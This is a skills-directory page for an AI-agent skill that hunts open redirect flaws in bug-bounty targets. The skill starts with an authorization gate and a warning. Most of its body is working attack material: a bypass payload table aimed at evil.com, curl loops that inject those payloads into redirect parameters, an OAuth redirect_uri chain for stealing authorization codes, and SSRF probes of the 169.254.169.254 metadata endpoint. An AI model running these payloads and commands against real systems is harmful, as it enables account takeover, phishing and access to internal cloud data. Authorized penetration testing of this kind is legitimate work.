Skip to content
Back to skills

Hunt Open Redirect

ASecurity

Hunt Open Redirect

  • 46,816 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added September 24, 2026
ai-agentsjavascriptrustgojavabashtestinggitsecurity

Works with

  • cli

Security analysis

A96/100
  • mediumInstalls packages at runtime which could introduce malicious dependencies

Pro shows the line behind each finding and how to fix it

Scanned September 24, 2026

npx -y skills add sickn33/antigravity-awesome-skills --skill hunt-open-redirect --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Hunt Open Redirect?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Hunt Open Redirect
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/sickn33-hunt-open-redirect-8d7b3567/badge)](https://www.skillsdirectory.com/skills/sickn33-hunt-open-redirect-8d7b3567)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: hunt-open-redirect
description: Hunt Open Redirect
category: security
risk: offensive
source: https://github.com/elementalsouls/Claude-BugHunter
source_repo: elementalsouls/Claude-BugHunter
source_type: community
date_added: '2026-09-20'
license: MIT
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
compatibility: Requires explicit written authorization for a target scope plus the
  relevant testing tools for this technique. Docs-only; helper scripts and commands
  not bundled.
sources: hackerone_public
report_count: 28
---
> **⚠️ AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.

> **Mandatory confirmation gate**
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

# HUNT-OPEN-REDIRECT — Open Redirect

## Crown Jewel Targets

Open redirect alone is Low. Chained to OAuth = Critical (ATO).

**Highest-value chains:**
- **Open redirect → OAuth auth code theft** — redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO
- **Open redirect → phishing** — users trust the URL because it starts with target.com
- **Open redirect → SSRF escalation** — if redirect followed server-side → SSRF
- **Open redirect → session fixation** — force user to login endpoint with pre-set session

---

## Attack Surface Signals

```
?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=
```

---

## Bypass Table

| Technique | Payload |
|-----------|---------|
| Basic | `https://evil.com` |
| Protocol relative | `//evil.com` |
| Backslash bypass | `/\\evil.com` |
| At-sign confusion | `https://target.com@evil.com` |
| Double slash | `//evil.com/%2F..` |
| URL encoding | `%2Fevil.com` |
| Null byte | `evil.com%00target.com` |
| Whitespace | `evil.com%09` or `%20` |
| JavaScript URI | `javascript:window.location='https://evil.com'` |
| Data URI | `data:text/html,<script>window.location='https://evil.com'</script>` |
| Subdomain | `https://target.com.evil.com` |
| Fragment | `https://evil.com#.target.com` |

---

## Step-by-Step Hunting Methodology

### Phase 1 — Discover Redirect Parameters
```bash
# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt

# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
  recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt
```

### Phase 2 — Basic Test
```bash
COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
  LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
  [ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done
```

### Phase 3 — Bypass Techniques
```bash
BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
  "https://evil.com"
  "//evil.com"
  "/\\evil.com"
  "https://$TARGET@evil.com"
  "https://evil.com%23.$TARGET"
  "https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
  LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
  echo "$P → $LOC"
done
```

### Phase 3b — DOM-based open redirect (client-side sink)
Server-side `Location:` grepping misses redirects that happen purely in JS. Source (`location.hash`/`location.search`/`document.referrer`) assigned to a navigation sink.
```bash
grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
  | grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"
# Confirm in a browser (curl can't): open  https://$TARGET/page#https://evil.com  (or ?url=...)
# Common shape:  var u=new URLSearchParams(location.search).get('url'); location=u;
```
(PortSwigger: DOM-based open redirection.)

### Phase 4 — OAuth Chain Test
```bash
# If target has OAuth, check if redirect_uri accepts open redirect
grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20

# Construct OAuth URL with open redirect as redirect_uri
# Normal: redirect_uri=https://target.com/callback
# Attack: redirect_uri=https://target.com/redirect?url=https://evil.com
OAUTH_URL="https://$TARGET/oauth/authorize"
curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"
```

### Phase 5 — Server-Side Redirect (SSRF escalation)
```bash
# If the app fetches the redirect target server-side (302 fetch follow)
curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/"

# Or: if app makes HTTP request to the redirect destination
curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/" \
  -H "Cookie: $SESSION"
```

---

## Automation
```bash
# openredirex
pip3 install openredirex
openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com

# nuclei
nuclei -u https://$TARGET -t redirect/ -severity medium,high

# gf + qsreplace
cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \
  xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}
```

---

## Chain Table

| Open redirect finding | Chain to | Impact |
|----------------------|----------|--------|
| Any open redirect | OAuth redirect_uri bypass | Auth code theft → ATO |
| Any open redirect | Phishing URL with target domain | Social engineering |
| Server-side redirect | SSRF via followed redirect | Internal service access |
| Logout redirect | Session fixation | Force login with known session |

---

## Validation

✅ Location header in response points to evil.com (your controlled domain)
✅ Browser follows redirect to attacker-controlled page

**Severity:**
- Redirect alone: Low (most programs)
- Chains to OAuth code theft → ATO: High/Critical
- Chains to phishing with brand name: Low-Medium
- Server-side → SSRF: High

## When to Use

- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.

## Limitations

- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.

### Example

```bash
# Read-only first step; confirm scope before anything active.
cat scope.txt  # target list from the authorized engagement brief
```

> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…